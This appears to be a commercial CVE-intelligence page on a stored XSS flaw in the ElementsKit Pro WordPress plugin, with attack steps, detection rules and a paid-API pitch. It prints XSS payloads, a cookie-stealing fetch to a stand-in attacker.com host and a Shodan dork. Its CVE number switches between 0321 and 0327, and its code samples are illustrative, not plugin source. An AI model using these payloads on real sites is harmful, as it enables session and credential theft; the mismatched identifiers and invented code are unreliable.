☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-0321

CVE-2025-0321 Cross-Site Scripting in Elementskit
📅 PUBLISHED: 2025-01-28 07:21 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0327 is a DOM-Based Stored Cross-Site Scripting (XSS) vulnerability affecting the ElementsKit Pro WordPress plugin, versions up to and including 3.7.8. This flaw allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts via the url parameter. The vulnerability stems from insufficient input sanitization and output escaping, leading to script execution when a victim user accesses a compromised page. Given the widespread use of WordPress and the ElementsKit Pro plugin, this poses a significant risk to site integrity and user data confidentiality.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It is not related to Apache, Nginx, or any other web server software. The attack surface is limited to authenticated users with Contributor-level permissions or higher, but the stored XSS can affect all visitors to the compromised page.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level access)
  • User Interaction: Required (victim must visit the page)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used plugin like ElementsKit Pro can lead to session hijacking, credential theft, and defacement.

Deep Dive & Mechanics

The vulnerability resides in how the ElementsKit Pro plugin handles the url parameter within its DOM-based rendering. When a user with Contributor-level access or higher creates or edits a page using ElementsKit Pro widgets, the plugin fails to properly sanitize the url parameter before inserting it into the DOM. This allows an attacker to inject malicious JavaScript code that will be executed in the context of the victim's browser when the page is loaded.

Attack Flow:

  1. An authenticated attacker with Contributor-level access creates a new page or edits an existing one.
  2. The attacker inserts an ElementsKit Pro widget that accepts a url parameter (e.g., a button or link widget).
  3. The attacker sets the url parameter to a malicious payload, such as javascript:alert(document.cookie) or a crafted <img> tag with an onerror event.
  4. The plugin stores this payload without proper sanitization.
  5. When a victim (e.g., an admin or visitor) accesses the page, the malicious script executes in their browser.

Root Cause: The plugin uses JavaScript to dynamically insert the url value into the DOM without escaping or sanitizing it. This is a classic DOM-Based XSS vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.7.8):

// Example of vulnerable JavaScript in ElementsKit Pro
function renderWidget(url) {
    var link = document.createElement('a');
    link.href = url; // No sanitization
    link.innerHTML = 'Click Here';
    document.body.appendChild(link);
}

Patched Code (Hypothetical):

// Patched version with proper sanitization
function renderWidget(url) {
    var link = document.createElement('a');
    link.href = sanitizeUrl(url); // Sanitize the URL
    link.innerHTML = 'Click Here';
    document.body.appendChild(link);
}

function sanitizeUrl(url) {
    // Use a URL parser to validate and sanitize
    var parsed = new URL(url, window.location.origin);
    // Only allow http and https protocols
    if (parsed.protocol === 'http:' || parsed.protocol === 'https:') {
        return parsed.href;
    }
    return '#';
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with ElementsKit Pro <= 3.7.8 installed and activated.
  • Authenticated user account with Contributor-level access or higher.

Exploitation Steps:

  1. Log in to WordPress as a Contributor.
  2. Create a new page or edit an existing one.
  3. Add an ElementsKit Pro widget that accepts a url parameter (e.g., "Button" widget).
  4. In the url field, enter the following payload:
    javascript:alert('XSS')
    
    Or for a more stealthy approach:
    "><img src=x onerror=alert(document.cookie)>
    
  5. Publish or update the page.
  6. When an admin or visitor accesses the page, the script executes.

Advanced Payload:

javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual url parameter values in page/post content.
  • Look for JavaScript code that dynamically creates DOM elements with user-supplied data.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.

Prevention:

  • Update ElementsKit Pro to the latest patched version (once available).
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/elementskit-pro/ (check for modified files)
  • Database: Look for posts/pages containing javascript: or onerror= in the post_content field.
  • Network: Outbound requests to attacker-controlled domains from the WordPress server.
  • Logs: WordPress audit logs showing creation/editing of pages by Contributor-level users with suspicious url values.

Detection Engineering

YARA Rule

rule Detect_ElementsKit_Pro_XSS {
    meta:
        description = "Detects potential XSS payloads in ElementsKit Pro plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0327"
    strings:
        $xss1 = /javascript\s*:/ nocase
        $xss2 = /onerror\s*=/ nocase
        $xss3 = /onload\s*=/ nocase
        $xss4 = /<script[^>]*>/ nocase
    condition:
        any of them
}

Sigma Rule

title: ElementsKit Pro DOM-Based XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts via the url parameter in ElementsKit Pro
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'javascript:'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0327 ElementsKit Pro XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/"; http_uri; content:"javascript:"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the ElementsKit Pro plugin until a patch is available.
  2. Restrict Contributor-level permissions to trusted users only.
  3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-term Fix:

  • Apply the official patch from the vendor once released.
  • Conduct a security audit of all third-party plugins.
  • Educate content creators about the risks of XSS.

Workaround:

  • Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/elementskit"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0321/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.